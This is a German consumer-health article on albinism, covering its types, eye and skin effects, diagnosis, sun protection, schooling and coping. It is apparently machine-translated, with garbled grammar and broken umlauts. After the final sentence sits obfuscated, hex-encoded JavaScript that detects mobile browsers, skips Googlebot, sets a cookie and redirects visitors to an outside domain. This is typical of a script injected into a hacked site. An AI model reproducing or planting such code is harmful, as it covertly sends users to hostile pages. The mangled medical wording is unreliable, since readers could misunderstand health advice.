Krankheit

Albinismus

AlbinismAlbinismus, eine Gruppe von Erbkrankheiten, ergibt keine oder nur geringe Produktion des Melanin.A�Die Art und Menge an Melanin produziert Ihr KA�rper bestimmt die Farbe der Haut, Haare und Augen.A�Die meisten Menschen mit Albinismus sind empfindlich gegen Sonneneinstrahlung und sind einem erhA�hten Risiko an Hautkrebs zu erkranken.

Melanin spielt auch eine Rolle bei der Entwicklung von bestimmten optischen Nerven.A�Alle Formen des Albinismus zu Problemen mit der Entwicklung und Funktion der Augen.

Zwar gibt es keine Heilung fA?r Albinismus, kA�nnen die Menschen mit der Erkrankung MaAYnahmen ergreifen, um die Sehkraft zu verbessern und vermeiden Sie zu viel Sonne.A�Albinismus nicht begrenzt intellektuelle Entwicklung, wenn die Menschen mit Albinismus oft sozial isoliert fA?hlen und kann Diskriminierung erleben.

Symptome

Anzeichen von Albinismus sind in der Regel, aber nicht immer, in der Haut einer Person, Haar-und Augenfarbe erkennbar.A�UnabhA�ngig von der Wirkung von Albinismus auf Aussehen, alle Menschen mit der Erkrankung Erfahrung Sehbehinderungen.

Haut
Obwohl das bekannteste Form Albinismus fA?hrt milchig weiAYen Haut, die Pigmentierung der Haut kA�nnen von weiAY bis braun reichen, und kann fast die gleiche wie die der Eltern oder Geschwister ohne Albinismus sein.

FA?r manche Menschen mit Albinismus, die Pigmentierung der Haut A�ndert sich nie.A�FA?r andere kann Melanin-Produktion zu beginnen oder wA�hrend der Kindheit und Jugend erhA�hen, was zu leichten VerA�nderungen in der Pigmentierung.A�Mit der Exposition gegenA?ber der Sonne, kA�nnen einige Leute entwickeln:

  • Freckles
  • Moles, mit oder ohne Pigment
  • GroAYe Sommersprossen wie Flecken (lentigines)
  • Die FA�higkeit, tan

Haar
Haarfarbe kann von sehr weiAY bis braun reichen.A�Menschen afrikanischer oder asiatischer Abstammung, die Albinismus haben kann Haarfarbe, gelb, rA�tlich oder braun ist.A�Haarfarbe kann auch im frA?hen Erwachsenenalter zu A�ndern.

Augenfarbe
Augenfarbe kann aus sehr helles Blau zu Braun reichen und kann mit zunehmendem Alter verA�ndern.

Das Fehlen von Pigment in der farbige Teil des Auges (Iris) macht sie etwas durchscheinend.A�Dies bedeutet, dass die Iris kann nicht vollstA�ndig blockieren Licht in das Auge.A�Aufgrund dieser Transluzenz, kann sehr helle Augen rot erscheinen einige Beleuchtung.A�Dies geschieht, weil Sie sehen, reflektierte Licht von der RA?ckseite des Auges sind und Weitergabe zurA?ck durch die Iris wieder – A�hnlich wie rote Augen, die in einem Blitzfotografie auftritt.

Vision
Anzeichen und Symptome von Albinismus in Bezug auf Funktion des Auges gehA�ren:

  • Rapid, unfreiwillige Hin-und Herbewegung der Augen (Nystagmus)
  • UnfA�higkeit der beiden Augen, um an derselben Stelle bleiben, gerichtet oder in Einklang zu bewegen (Strabismus)
  • Extreme Kurzsichtigkeit oder Weitsichtigkeit
  • Lichtempfindlichkeit (Photophobie)
  • Astigmatismus

Wenn einen Arzt aufsuchen
Wenn Ihr Kind fehlt Pigment in seinem oder ihrem Haar oder die Haut bei der Geburt – wie es oft der Fall bei SA�uglingen mit Albinismus – Ihr Arzt wird eine Augenuntersuchung und genau verfolgen A�nderungen in Ihrem Kind die Pigmentierung.

Bei einigen Kindern die ersten Anzeichen von Albinismus ist eine schnelle Hin-und Her-Schalten (Nystagmus) in den Augen, vor allem, wenn der Typ des Albinismus hat wenig Einfluss auf die Pigmentierung oder wenn die Familie ist meist hellhA�utige.A�Wenn Sie Nystagmus in Ihrem Kind die Augen zu beobachten, mit Ihrem Arzt sprechen.

Fragen Sie Ihren Arzt, wenn Ihr Kind mit Albinismus erlebt hA�ufiges Nasenbluten, leichte BlutergA?sse oder chronischen Infektionen, da diese Anzeichen und Symptome der Anwesenheit von Hermansky-Pudlak oder Chediak-Higashi Syndrom hindeuten kA�nnen.

Ursachen

Die Ursache ist eine Mutation Albinismus in einer von mehreren Genen.A�Jedes dieser Gene enthA�lt die chemisch codierte Anweisungen fA?r die Herstellung einer von mehreren Proteine a��a��in der Produktion von Melanin beteiligt.A�Melanin wird durch die so genannten Melanozyten, die in der Haut und den Augen gefunden werden produziert.A�Eine Mutation kann in keinem Melanin-Produktion an allen oder einem deutlichen RA?ckgang in der Menge an Melanin fA?hren.

In den meisten Arten von Albinismus, muss eine Person erben zwei Kopien eines mutierten Gens – eine von jedem Elternteil – um Albinismus (rezessive Vererbung) haben.A�Wenn eine Person hat nur eine Kopie, dann wird er oder sie nicht A?ber die StA�rung.

Auswirkungen der Mutationen auf der Entwicklung des Auges
UnabhA�ngig davon, welche Gen-Mutation vorliegt, ist Sehbehinderung ein gemeinsames Merkmal mit allen Arten von Albinismus.A�Diese BeeintrA�chtigungen sind durch unregelmA�AYige Entwicklung der Nervenbahnen vom Auge an das Gehirn und von abnorme Entwicklung der Netzhaut verursacht.

Arten von Albinismus
Das System fA?r die Einstufung Arten von Albinismus beruht in erster Linie auf dem mutierten Gen die StA�rung nicht durch A�uAYere Zeichen verursacht.A�Dennoch haben die meisten Arten von Albinismus einige Funktionen, die sie voneinander unterscheiden.A�Arten von Albinismus sind:

  • Oculocutaneous Albinismus.A�A�okulokutaner Albinismus wird durch eine Mutation in einem von vier Genen verursacht.A�Diese Mutationen fA?hren zu Anzeichen und Symptome im Zusammenhang mit Vision (Okular) und derjenigen im Zusammenhang mit Haut (Haut), Haar-und Iris-Farbe.Oculocutaneous Albinismus Typ 1 wird durch eine Mutation in einem Gen auf Chromosom 11 verursacht.A�Die meisten Menschen mit dieser Art von Albinismus haben milchig weiAYe Haut, weiAYes Haar und blaue Augen bei der Geburt.A�Einige Menschen mit dieser Erkrankung nie erleben VerA�nderungen in der Pigmentierung, aber andere beginnen zu Melanin wA�hrend der Kindheit und Jugend zu produzieren.A�Ihre Haare kA�nnen eine goldene blond oder braun zu werden.A�Ihre Haut in der Regel nicht die Farbe A�ndern, aber es kann tan etwas.A�Die Iris kann auch die Farbe A�ndern und verlieren einen Teil ihrer Transluzenz.

    Oculocutaneous Albinismus Typ 2 wird durch eine Mutation in einem Gen auf Chromosom 15 verursacht.A�Es ist hA�ufiger in Sub-Sahara-Afrikaner, Afro-Amerikaner und Native Americans als in anderen BevA�lkerungsgruppen.A�Das Haar kann gelb, rotbraun, Ingwer oder rot, kA�nnen die Augen sein blau-grau oder braun, und die Haut ist weiAY bei der Geburt.A�In Menschen afrikanischer Abstammung, kann die Haut hellbraun sein, und in denen der asiatischen oder nordeuropA�ischer Abstammung, die Haut ist in der Regel weiAY.A�In jedem Fall ist die Hautfarbe allgemein nahe der Familie FA�rbung, aber ein wenig heller.A�Mit Sonneneinstrahlung kann die Haut im Laufe der Zeit entwickeln, Sommersprossen, Muttermale oder lentigines.

    Je seltener oculocutaneous Albinismus Typ 3 durch eine Genmutation auf Chromosom 9 verursacht und wurde in erster Linie im schwarzen SA?dafrikaner identifiziert.A�Menschen mit dieser StA�rung haben meist rA�tlich-braune Haut, Ingwer oder rA�tliches Haar und Hasel oder braune Augen.

    Oculocutaneous Albinismus Typ 4, durch eine Genmutation auf Chromosom 5 verursacht wird, ist eine ungewA�hnliche Form der StA�rung allgemeinen Darstellung Anzeichen und Symptome A�hnlich denen von Typ-2.A�Diese Art von Albinismus kann eine der hA�ufigsten Formen von Menschen ostasiatischer Abstammung sein.

  • OkulA�ren Albinismus X-verknA?pft.A�A�Die Ursache derA�A�X-linked okulA�ren Albinismus, die fast ausschlieAYlich tritt bei MA�nnern, ist ein Gen-Mutation auf dem X-Chromosom.A�Menschen, die okulA�ren Albinismus haben, haben die Entwicklungs-und funktionelle SehstA�rungen von Albinismus.Aber Haut, Haar-und Augenfarbe sind in der Regel im normalen Bereich oder etwas heller als die anderen in der Familie.
  • Hermansky-Pudlak Syndrom.A�A�Hermansky-Pudlak Syndrom ist eine seltene Erkrankung Albinismus durch eine Mutation in einem von mindestens acht Genen mit diesem Syndrom verursacht.Menschen mit dieser StA�rung haben Anzeichen und Symptome wie die oculocutaneous Albinismus, aber sie entwickeln auch Lungen-und Darmerkrankungen und eine StA�rung der Blutgerinnung.
  • Chediak-Higashi Syndrom.A�A�Chediak-Higashi-Syndrom ist eine seltene Form des Albinismus, die mit einer Mutation in dem Gen LYST verknA?pft ist.A�Anzeichen und Symptome sind A�hnlich denen von oculocutaneous Albinismus.A�Das Haar ist in der Regel braun oder blond mit einem silbrigen Glanz, und die Haut ist in der Regel cremeweiAY bis grA�ulich.A�Menschen mit diesem Syndrom einen Defekt mit weiAYen BlutkA�rperchen, die zu einer AnfA�lligkeit fA?r Infektionen.

Komplikationen

Komplikationen von Albinismus physische Risiken sowie soziale und emotionale Herausforderungen.

Erkrankungen der Haut
Einer der schwerwiegendsten Komplikationen mit Albinismus verbunden ist die Gefahr von Sonnenbrand und Hautkrebs.

Soziale und emotionale Faktoren
die Reaktionen der anderen Menschen, die mit Albinismus haben oft einen negativen Einfluss auf die Menschen mit der Bedingung:

  • Kinder mit Albinismus kann erleben name-calling, HA�nseleien oder Fragen bezA?glich ihres Aussehens, Brillen oder visuelle Hilfe-GerA�te.
  • Viele Menschen mit Albinismus finden das Wort “albino” verletzend, weil sie, die sind einfach auf der Grundlage einer Bedingung anstatt der als Individuen dachte beschriftet.
  • Eine lange Geschichte der Mythen hat A?bernatA?rliche KrA�fte oder abweichende PersA�nlichkeiten, Menschen mit Albinismus zurA?ckzufA?hren.
  • Menschen mit Albinismus in der Regel ganz anders aussehen als Mitglieder ihrer eigenen Familien oder ethnischen Gruppen und kA�nnen daher entweder als AuAYenseiter fA?hlen oder wie AuAYenseiter behandelt werden.

Alle diese Faktoren kA�nnen zu sozialer Isolation, geringes SelbstwertgefA?hl und Stress beitragen.

Tests und Diagnose

Eine vollstA�ndige diagnostische Aufarbeitung fA?r Albinismus umfasst ein:

  • A�rztliche Untersuchung
  • Beschreibung der VerA�nderungen in der Pigmentierung
  • GrA?ndliche Untersuchung der Augen
  • Vergleich Ihres Kindes Pigmentierung zu anderen Familienmitgliedern

Ein Arzt, spezialisiert auf Vision und Augenerkrankungen (Augenarzt) dirigiert Ihres Kindes Augenuntersuchung.A�Die PrA?fung wird auch eine Beurteilung der potenziellen Nystagmus, Strabismus und Lichtscheu.A�Der Arzt wird auch eine Vorrichtung zur SichtprA?fung der Netzhaut und festzustellen, ob es Anzeichen fA?r eine abnorme Entwicklung sind.A�Ein Test genannt Elektroretinogramm, die Gehirnwellen erzeugt, wenn Licht in die Augen geglA�nzt wird misst, kann das Vorhandensein von fehlgeleitete Sehnerven anzuzeigen.

Wenn Ihr Kind hat nur ein Auge Wertminderung, wie Nystagmus, kann eine weitere Bedingung die Ursache sein.A�Disorders andere als Albinismus beeinflussen kA�nnen Pigmentierung der Haut, aber diese wA?rden nicht dazu fA?hren, alle visuellen Probleme mit Albinismus assoziiert.

Behandlungen und Medikamente

Weil Albinismus ist eine genetische Erkrankung, die Behandlung beschrA�nkt.A�Ihr Kind wird wahrscheinlich benA�tigen, um SehstA�rke, die Verbesserungen in Vision bieten zu tragen, und er oder sie sollten die jA�hrlichen Untersuchungen durch einen Augenarzt erhalten.

Obwohl Chirurgie ist selten Teil der Behandlung fA?r Albinismus, kann Ihr Augenarzt Chirurgie auf optische Muskeln, Nystagmus minimiert empfehlen.A�Chirurgie zur Korrektur Strabismus machen die Bedingung weniger auffA�llig, aber es wird sich nicht verbessern Vision.

Ihr Arzt wird auch eine jA�hrliche Beurteilung der Haut Ihres Kindes zum Screening auf Hautkrebs oder LA�sionen, die zu Krebs fA?hren kA�nnen.A�Erwachsene mit Albinismus brauchen jA�hrliche Augen und der Haut PrA?fungen in ihrem Leben.

Menschen mit Hermansky-Pudlak und Chediak-Higashi Syndrom erfordern in der Regel regelmA�AYige spezielle Pflege, um Komplikationen zu verhindern.

Lifestyle und Hausmittel

Sie kA�nnen Ihrem Kind helfen, zu lernen Self-Care-Praktiken, die bis ins Erwachsenenalter fortsetzen sollte:

  • Verwenden Sehhilfen,A�A�wie eine Hand-held Lupe, einer monokularen oder einer Lupe, die GlA�ser legt.
  • Bewerben SonnenschutzmittelA�A�mit einem Lichtschutzfaktor (LSF) von mindestens 30, die sowohl gegen UVA-und UVB-Licht schA?tzt.
  • Vermeiden Sie hohe Risiko Sonneneinstrahlung,A�A�wie drauAYen in der Mitte des Tages, in HA�henlagen und an sonnigen Tagen mit dA?nnen Wolkendecke.
  • Schutzkleidung,A�A�einschlieAYlich langA�rmelige Hemden, lange Hosen und breitkrempigen HA?ten.
  • SchA?tzen Sie Ihre AugenA�A�durch das Tragen von dunklen, UV-Schutz-Sonnenbrillen.

BewA�ltigung und UnterstA?tzung

Der Umgang mit Sehbehinderung
Viele Menschen mit Albinismus zu entwickeln BewA�ltigungsstrategien zu Sehbehinderungen einstellen.Neigen des Kopfes zu einer Seite minimieren die Wirkung von Nystagmus und verbessern das SehvermA�gen.A�HA�lt ein Buch ganz in der NA�he kA�nnen es einfacher machen, ohne dass es zu SchA�den an den Augen abzulesen.

Der Umgang mit pA�dagogischen Herausforderungen
Wenn Ihr Kind hat Albinismus, beginnen frA?h, um mit Lehrern, spezielle Ausbildung Lehrer und Schulleiter zu arbeiten.A�Wenn nA�tig, mit der Erziehung der Schule Profis A?ber das, was Albinismus ist und wie es wirkt sich Ihr Kind beginnen.A�Auch A?ber die Nutzungsfrequenz der Schule bieten, um die BedA?rfnisse Ihres Kindes einschA�tzen kA�nnen, zu erkundigen.

Anpassungen der Klassenraum-Umgebung, die Ihrem Kind helfen kA�nnen:

  • Ein Sitz in der NA�he der Stirnseite des Klassenraums
  • Handouts der Inhalte auf Boards oder Overhead-Bildschirme geschrieben
  • Kontrastreiche gedruckten Dokumente, wie schwarzer Schrift auf weiAYem Papier als farbiger Druck oder Papier
  • GroAYdruck LehrbA?chern

Der Umgang mit HA�nseleien und sozialer Isolation
Helfen Sie Ihrem Kind entwickeln FA�higkeiten, mit anderen Menschen Reaktionen auf Albinismus umzugehen:

  • Ermutigen Sie Ihr Kind zu sprechenA�A�, um Sie A?ber seine Erfahrungen oder GefA?hle.
  • Praxis AntwortenA�A�auf HA�nseleien oder peinliche Fragen.
  • Finden Sie ein Peer-Support-GruppeA�A�oder Online-Community A?ber Agenturen wie die National Organization for Albinismus und Hypopigmentierung (NOAH).A�Sie kA�nnen NOAH bei 800-473-2310 erreichen.
  • Suchen die Dienste eines Psychotherapeuten,A�A�die Ihnen und Ihrem Kind zu entwickeln gesunde Kommunikation und BewA�ltigungsstrategien kA�nnen.

Vorbeugung

Albinismus in der Regel nicht verhindert werden.A�Es tritt hA�ufig in Familien, die keine Geschichte der Erkrankung haben.A�In FA�llen, in denen die Eltern vermuten, dass sie kA�nnen TrA�ger wegen einer Familiengeschichte sein, kann Gentests zu identifizieren, ob beide Eltern eine bestimmte genetische Mutation, die Albinismus bei ihren Kindern kA�nnte zu tragen.A�DarA?ber hinaus, wenn Sie wissen beide Eltern sie sind TrA�ger kA�nnen prA�natale Untersuchungen durchgefA?hrt, um festzustellen, ob ein FA�tus die Mutationen, die Albinismus fA?hren kann vererbt hat.

Eine genetische Berater kann Ihnen helfen, Ihre Chancen, ein Kind mit Albinismus.A�Er oder sie kann auch erklA�ren, die verfA?gbaren Tests und Ihnen helfen, herauszufinden, die Vor-und Nachteile der PrA?fung fA?r Sie.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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